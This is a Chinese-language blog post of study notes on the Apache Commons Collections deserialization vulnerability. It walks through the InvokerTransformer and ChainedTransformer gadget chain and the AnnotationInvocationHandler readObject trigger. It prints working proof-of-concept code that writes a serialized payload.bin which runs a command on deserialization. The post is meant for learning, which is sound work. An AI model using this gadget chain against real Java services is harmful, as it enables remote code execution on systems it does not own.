Web
开始补Java安全的相关知识。
Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
2016年前后,Apache Commons Collections 反序列化漏洞横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS多个Java应用。
网上有很多关于该漏洞的分析文章,还是要自己走一遍加深印象。
漏洞影响版本: commons-collections <= 3.2.1 , jdk <= 1.7
在开始分析漏洞之前,需要对Java里的反射机制有一定了解,详情可见 https://www.bilibili.com/video/av56351262?p=6
这里贴个图看一下常用的一些获取功能
Java的序列化/反序列化对应的API接口:
1 2 序列化: java.io.ObjectOutputStream类 --> writeObject() 反序列化: java.io.ObjectInputStream类 --> readObject()
先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;
调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。
现在回到漏洞上,这个漏洞怎么来的,应该从何说起?
Apache Commons Collections中有一个特殊的接口(Transformer接口),其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer ,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package org.apache.commons.collections.functors;import java.io.Serializable;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import org.apache.commons.collections.FunctorException;import org.apache.commons.collections.Transformer;public class InvokerTransformer implements Transformer , Serializable { static final long serialVersionUID = -8653385846894047688L ; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public static Transformer getInstance (String methodName) { if (methodName == null ) { throw new IllegalArgumentException("The method to invoke must not be null" ); } else { return new InvokerTransformer(methodName); } } public static Transformer getInstance (String methodName, Class[] paramTypes, Object[] args) { if (methodName == null ) { throw new IllegalArgumentException("The method to invoke must not be null" ); } else if (paramTypes == null && args != null || paramTypes != null && args == null || paramTypes != null && args != null && paramTypes.length != args.length) { throw new IllegalArgumentException("The parameter types must match the arguments" ); } else if (paramTypes != null && paramTypes.length != 0 ) { paramTypes = (Class[])paramTypes.clone(); args = (Object[])args.clone(); return new InvokerTransformer(methodName, paramTypes, args); } else { return new InvokerTransformer(methodName); } } private InvokerTransformer (String methodName) { this .iMethodName = methodName; this .iParamTypes = null ; this .iArgs = null ; } public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var7); } } } }
从核心代码处可以看到只要传入方法名、参数类型和参数,即可调用任意函数。
那么就可以先用ConstantTransformer()获取Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令:
1 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("xxx");
也就是说要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformedMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换。
ChainedTransformer的核心代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class ChainedTransformer implements Transformer , Serializable { ... public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; } ... }
示例POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CollectionPoc3 { public static void main (String[] args) throws Exception { String command = (args.length != 0 ) ? args[0 ] : "calc" ; String[] execArgs = command.split("," ); Transformer[] transforms = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod" , new Class[] {String.class, Class[].class}, new Object[] {"getRuntime" , new Class[0 ]} ), new InvokerTransformer( "invoke" , new Class[] {Object.class, Object[].class}, new Object[] {null , new Object[0 ]} ), new InvokerTransformer( "exec" , new Class[] {String[].class}, new Object[] {execArgs} ) }; Transformer transformerChain = new ChainedTransformer(transforms); Map tempMap = new HashMap<String, Object>(); tempMap.put("1111" , "2222" ); Map<String, Object> exMap = TransformedMap.decorate(tempMap, null , transformerChain); for (Map.Entry<String, Object> exMapValue : exMap.entrySet()) { exMapValue.setValue(1 ); } } }
这里有几点需要注意:
1 2 3 1.TransformedMap类用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数 Transformer,即可从任意Map对象生成相应的TransformedMap 2.在最后执行exMapValue.setValue(1)之前,tempMap里需要有值,也就是执行tempMap.put()赋值是必要的 3.注释掉最后3行代码,使用exMap.put("1111", "2222");进行赋值同样也可以触发命令执行
调试代码可知setValue方法跟到了AbstractInputCheckedMapDecorator.class里
IDEA里执行后就会弹出计算器
目前来看,只是人为地使用了setValue函数来实现了命令执行,要想实现远程地反序列化漏洞,还需要在代码里寻找gadget,使得程序在调用readObject反序列化时使用这个setValue函数,从而实现执行payload
1 如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法,所以反序列化漏洞要关注有没有重写后的readObject方法
正所谓无巧不成书,sun.reflect.annotation.AnnotationInvocationHandler这个类刚好符合这个条件
jdk 1.7这个类里的readObject代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
可以看到上面的关键操作:
1 var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
这里的setValue可以用于触发上面的攻击链。
同理看一下修复后的jdk 1.8里的对应代码,已经没有再使用setValue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { GetField fields = s.readFields(); Class<? extends Annotation> t = (Class)fields.get("type" , (Object)null ); Map<String, Object> streamVals = (Map)fields.get("memberValues" , (Object)null ); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(t); } catch (IllegalArgumentException var13) { throw new InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); Map<String, Object> mv = new LinkedHashMap(); String name; Object value; for (Iterator var8 = streamVals.entrySet().iterator(); var8.hasNext(); mv.put(name, value)) { Entry<String, Object> memberValue = (Entry)var8.next(); name = (String)memberValue.getKey(); value = null ; Class<?> memberType = (Class)memberTypes.get(name); if (memberType != null ) { value = memberValue.getValue(); if (!memberType.isInstance(value) && !(value instanceof ExceptionProxy)) { value = (new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]" )).setMember((Method)annotationType.members().get(name)); } } } AnnotationInvocationHandler.UnsafeAccessor.setType(this , t); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this , mv); }
从这里 https://xz.aliyun.com/t/136 抄的POC,注释很详细,但是发现运行的时候有些问题,结合 http://mi0.xyz/2019/09/07/%e6%b5%85%e6%98%be%e6%98%93%e6%87%82%e7%9a%84java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%85%a5%e9%97%a8/ 进行了修改:
1 2 1. Transformer[] transformers = new Transformer[]{}不能再使用上面示例POC代码的构造形式,否则反序列化时会报java.lang.IllegalArgumentException错误 2. 另外注意BeforeTransformerMap.put("value", "spring coming soon");的时候第一个参数要为"value",否则也是无法执行成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class CollectionPoc2 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc.exe" }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); BeforeTransformerMap.put("value" , "spring coming soon" ); Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null , transformedChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true ); Object instance = ctor.newInstance(Target.class, AfterTransformerMap); FileOutputStream fileOutputStream = new FileOutputStream("payload.bin" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(instance); objectOutputStream.close(); FileInputStream fileInputStream = new FileInputStream("payload.bin" ); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Object result = objectInputStream.readObject(); objectInputStream.close(); System.out.println(result); } }
上面的代码执行完之后会生成二进制文件(序列化后的)payload.bin,紧接着再直接通过反序列化(readObject)执行了命令。
在真实漏洞环境中则是把payload.bin传递给具有相应环境的反序列化数据交互接口使之触发命令执行的 gadget。
参考链接:
https://xz.aliyun.com/t/136
https://blog.knownsec.com/2015/12/untrusted-deserialization-exploit-with-java/
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
https://www.cnblogs.com/wfzWebSecuity/p/11505122.html
http://mi0.xyz/2019/09/07/%e6%b5%85%e6%98%be%e6%98%93%e6%87%82%e7%9a%84java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%85%a5%e9%97%a8/